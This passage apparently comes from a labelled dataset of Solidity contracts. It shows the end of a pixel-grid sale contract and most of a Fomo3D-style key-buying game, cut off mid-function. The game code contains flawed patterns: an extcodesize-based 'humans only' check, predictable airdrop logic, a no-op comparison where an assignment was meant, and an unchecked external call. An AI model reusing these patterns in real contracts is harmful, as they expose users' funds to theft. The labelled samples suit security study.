section.sell_only_to = _only_sell_to;
NewListing(x_pos + (y_pos * 100), _price);
}
y_pos++;
}
x_pos++;
}
}
function setRegionImageDataCloud(
uint _start_section_index,
uint _end_section_index,
uint _image_id,
string _md5
) {
if (_end_section_index < _start_section_index) throw;
var (start_x, start_y) = getIdentifierFromSectionIndex(_start_section_index);
var (end_x, end_y) = getIdentifierFromSectionIndex(_end_section_index);
if (start_x >= mapWidth) throw;
if (start_y >= mapHeight) throw;
if (end_x >= mapWidth) throw;
if (end_y >= mapHeight) throw;
uint y_pos = start_y;
while (y_pos <= end_y)
{
uint x_pos = start_x;
while (x_pos <= end_x)
{
uint identifier = (x_pos + (y_pos * 100));
Section s = sections[identifier];
if(s.owner == msg.sender)
{
s.image_id = _image_id;
s.md5 = _md5;
}
x_pos = x_pos + 1;
}
y_pos = y_pos + 1;
}
NewImage(_start_section_index);
return;
}
function setSectionForSaleToAddress(
uint _section_index,
uint256 _price,
address _to
) {
if (_section_index >= sections.length) throw;
Section section = sections[_section_index];
if(section.owner != msg.sender) throw;
section.price = _price;
section.for_sale = true;
section.sell_only_to = _to;
NewListing(_section_index, _price);
}
function unsetSectionForSale(
uint _section_index
) {
if (_section_index >= sections.length) throw;
Section section = sections[_section_index];
if(section.owner != msg.sender) throw;
section.for_sale = false;
section.price = 0;
section.sell_only_to = 0x0;
Delisted(_section_index);
}
function unsetRegionForSale(
uint _start_section_index,
uint _end_section_index
) {
if(_start_section_index > _end_section_index) throw;
if(_end_section_index > 9999) throw;
uint x_pos = _start_section_index % 100;
uint base_y_pos = (_start_section_index - (_start_section_index % 100)) / 100;
uint x_max = _end_section_index % 100;
uint y_max = (_end_section_index - (_end_section_index % 100)) / 100;
while(x_pos <= x_max)
{
uint y_pos = base_y_pos;
while(y_pos <= y_max)
{
Section section = sections[x_pos + (y_pos * 100)];
if(section.owner == msg.sender)
{
section.for_sale = false;
section.price = 0;
Delisted(x_pos + (y_pos * 100));
}
y_pos++;
}
x_pos++;
}
}
function setImageData(
uint _section_index
) {
if (_section_index >= sections.length) throw;
Section section = sections[_section_index];
if(section.owner != msg.sender) throw;
section.image_id = 0;
section.md5 = "";
section.last_update = block.timestamp;
NewImage(_section_index);
}
function setImageDataCloud(
uint _section_index,
uint _image_id,
string _md5
) {
if (_section_index >= sections.length) throw;
Section section = sections[_section_index];
if(section.owner != msg.sender) throw;
section.image_id = _image_id;
section.md5 = _md5;
section.last_update = block.timestamp;
NewImage(_section_index);
}
function withdraw() returns (bool) {
var amount = ethBalance[msg.sender];
if (amount > 0) {
ethBalance[msg.sender] = 0;
WithdrawEvent("Reset Sender");
msg.sender.transfer(amount);
}
return true;
}
function deposit() payable
{
ethBalance[msg.sender] += msg.value;
}
function transfer(
address _to,
uint _section_index
) {
if (_section_index > 9999) throw;
if (sections[_section_index].owner != msg.sender) throw;
if (balanceOf[_to] + 1 < balanceOf[_to]) throw;
sections[_section_index].owner = _to;
sections[_section_index].for_sale = false;
balanceOf[msg.sender] -= 1;
balanceOf[_to] += 1;
}
function transferRegion(
uint _start_section_index,
uint _end_section_index,
address _to
) {
if(_start_section_index > _end_section_index) throw;
if(_end_section_index > 9999) throw;
uint x_pos = _start_section_index % 100;
uint base_y_pos = (_start_section_index - (_start_section_index % 100)) / 100;
uint x_max = _end_section_index % 100;
uint y_max = (_end_section_index - (_end_section_index % 100)) / 100;
while(x_pos <= x_max)
{
uint y_pos = base_y_pos;
while(y_pos <= y_max)
{
Section section = sections[x_pos + (y_pos * 100)];
if(section.owner == msg.sender)
{
if (balanceOf[_to] + 1 < balanceOf[_to]) throw;
section.owner = _to;
section.for_sale = false;
balanceOf[msg.sender] -= 1;
balanceOf[_to] += 1;
}
y_pos++;
}
x_pos++;
}
}
} | 0 | 1,478 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract F3DGoQuick is F3Devents{
using SafeMath for uint256;
using NameFilter for string;
using F3DKeysCalcFast for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x82e0C3626622d9a8234BFBaf6DD0f8d070C2609D);
address private admin = 0xacb257873b064b956BD9be84dc347C55F7b2ae8C;
address private coin_base = 0x345A756a49DF0eD24002857dd25DAb6a5F4E83FF;
string constant public name = "F3DLink Quick";
string constant public symbol = "F3D";
uint256 private rndGap_ = 60 seconds;
uint256 constant private rndInit_ = 5 minutes;
uint256 constant private rndInc_ = 5 minutes;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else if (_now <= round_[_rID].end)
return ( ((round_[_rID].ico.keys()).add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 100000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now <= round_[_rID].strt + rndGap_)
return( ((round_[_rID].end).sub(rndInit_)).sub(_now) );
else
if (_now < round_[_rID].end)
return( (round_[_rID].end).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false)
{
uint256 _roundMask;
uint256 _roundEth;
uint256 _roundKeys;
uint256 _roundPot;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
{
_roundEth = round_[_rID].ico;
_roundKeys = (round_[_rID].ico).keys();
_roundMask = ((round_[_rID].icoGen).mul(1000000000000000000)) / _roundKeys;
_roundPot = (round_[_rID].pot).add((round_[_rID].icoGen).sub((_roundMask.mul(_roundKeys)) / (1000000000000000000)));
} else {
_roundEth = round_[_rID].eth;
_roundKeys = round_[_rID].keys;
_roundMask = round_[_rID].mask;
_roundPot = round_[_rID].pot;
}
uint256 _playerKeys;
if (plyrRnds_[_pID][plyr_[_pID].lrnd].ico == 0)
_playerKeys = plyrRnds_[_pID][plyr_[_pID].lrnd].keys;
else
_playerKeys = calcPlayerICOPhaseKeys(_pID, _rID);
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( (_roundPot.mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _roundMask, uint256 _roundPot, uint256 _roundKeys, uint256 _playerKeys)
private
view
returns(uint256)
{
return( (((_roundMask.add((((_roundPot.mul(potSplit_[round_[rID_].team].gen)) / 100).mul(1000000000000000000)) / _roundKeys)).mul(_playerKeys)) / 1000000000000000000).sub(plyrRnds_[_pID][rID_].mask) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (round_[_rID].eth != 0)
{
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
} else {
return
(
round_[_rID].ico,
_rID,
(round_[_rID].ico).keys(),
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
if (plyrRnds_[_pID][_rID].ico == 0)
{
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
0
);
} else {
return
(
_pID,
plyr_[_pID].name,
calcPlayerICOPhaseKeys(_pID, _rID),
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].ico
);
}
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_ = manageRoundAndPlayer(_pID, _eventData_);
if (now <= round_[rID_].strt + rndGap_)
{
_eventData_.compressedData = _eventData_.compressedData + 2000000000000000000000000000000;
icoPhaseCore(_pID, msg.value, _team, _affID, _eventData_);
} else {
_eventData_.compressedData = _eventData_.compressedData + 1000000000000000000000000000000;
core(_pID, msg.value, _affID, _team, _eventData_);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_ = manageRoundAndPlayer(_pID, _eventData_);
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
if (now <= round_[rID_].strt + rndGap_)
{
_eventData_.compressedData = _eventData_.compressedData + 3000000000000000000000000000000;
icoPhaseCore(_pID, _eth, _team, _affID, _eventData_);
} else {
core(_pID, _eth, _affID, _team, _eventData_);
}
}
function icoPhaseCore(uint256 _pID, uint256 _eth, uint256 _team, uint256 _affID, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
if ((round_[_rID].ico).keysRec(_eth) >= 1000000000000000000 || round_[_rID].plyr == 0)
{
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].ico = _eth.add(plyrRnds_[_pID][_rID].ico);
round_[_rID].ico = _eth.add(round_[_rID].ico);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
round_[_rID].icoGen = _gen.add(round_[_rID].icoGen);
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100))).sub(_gen);
round_[_rID].pot = _pot.add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
endTx(_rID, _pID, _team, _eth, 0, _eventData_);
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
roundClaimICOKeys(_rID);
if (plyrRnds_[_pID][_rID].keys == 0 && plyrRnds_[_pID][_rID].ico > 0)
{
plyrRnds_[_pID][_rID].keys = calcPlayerICOPhaseKeys(_pID, _rID);
plyrRnds_[_pID][_rID].ico = 0;
}
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_rID, _pID, _team, _eth, _keys, _eventData_);
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if (plyrRnds_[_pID][_rIDlast].ico == 0)
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
else
if (now > round_[_rIDlast].strt + rndGap_ && round_[_rIDlast].eth == 0)
return( (((((round_[_rIDlast].icoGen).mul(1000000000000000000)) / (round_[_rIDlast].ico).keys()).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
else
return( (((round_[_rIDlast].mask).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcAverageICOPhaseKeyPrice(uint256 _rID)
public
view
returns(uint256)
{
return( (round_[_rID].ico).mul(1000000000000000000) / (round_[_rID].ico).keys() );
}
function calcPlayerICOPhaseKeys(uint256 _pID, uint256 _rID)
public
view
returns(uint256)
{
if (round_[_rID].icoAvg != 0 || round_[_rID].ico == 0 )
return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / round_[_rID].icoAvg );
else
return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / calcAverageICOPhaseKeyPrice(_rID) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].eth).keysRec(_eth) );
else if (_now <= round_[_rID].end)
return ( (round_[_rID].ico).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else if (_now <= round_[_rID].end)
return ( (((round_[_rID].ico).keys()).add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function manageRoundAndPlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].end)
{
if (round_[_rID].ended == false)
{
_eventData_ = endRound(_eventData_);
round_[_rID].ended = true;
}
rID_++;
_rID++;
round_[_rID].strt = _now;
round_[_rID].end = _now.add(rndInit_).add(rndGap_);
}
if (plyr_[_pID].lrnd != _rID)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = _rID;
_eventData_.compressedData = _eventData_.compressedData + 10;
}
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
roundClaimICOKeys(_rID);
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(coin_base).call.value(_com)())
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
coin_base.transfer(_p3d);
round_[_rID + 1].pot += _res;
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
return(_eventData_);
}
function roundClaimICOKeys(uint256 _rID)
private
{
round_[_rID].eth = round_[_rID].ico;
round_[_rID].keys = (round_[_rID].ico).keys();
round_[_rID].icoAvg = calcAverageICOPhaseKeyPrice(_rID);
uint256 _ppt = ((round_[_rID].icoGen).mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = (round_[_rID].icoGen).sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000));
if (_dust > 0)
round_[_rID].pot = (_dust).add(round_[_rID].pot);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
